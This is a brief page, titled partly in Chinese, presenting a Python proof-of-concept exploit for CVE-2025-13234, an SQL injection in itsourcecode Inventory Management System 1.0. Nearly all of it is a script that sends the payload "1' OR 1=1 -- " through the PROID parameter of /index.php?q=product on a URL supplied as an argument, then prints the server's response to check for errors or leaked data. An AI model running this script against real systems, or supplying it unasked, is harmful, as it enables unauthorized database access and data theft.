CVE-2025-13234 itsourcecode Inventory Management System 1.0 SQL注入漏洞

#!/usr/bin/env python3 # CVE-2025-13234 SQL Injection PoC # Target: itsourcecode Inventory Management System 1.0 # Vulnerability: SQL Injection in /index.php?q=product via PROID parameter import requests import sys def exploit_sqli(target_url, payload): """Send SQL injection payload to vulnerable endpoint""" target = f"{target_url}/index.php?q=product&PROID={payload}" try: response = requests.get(target, timeout=10) return response.text except requests.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print("Example: python3 CVE-2025-13234.py http://target.com") sys.exit(1) target_url = sys.argv[1].rstrip('/') # Test basic SQL injection (error-based) # This payload attempts to trigger a database error payload = "1' OR 1=1 -- " print(f"[*] Testing SQL injection on {target_url}") print(f"[*] Payload: {payload}") result = exploit_sqli(target_url, payload) if result: print("[+] Response received - check for SQL errors or data leakage") print(result[:500]) # Print first 500 chars else: print("[-] No response or connection failed") if __name__ == "__main__": main()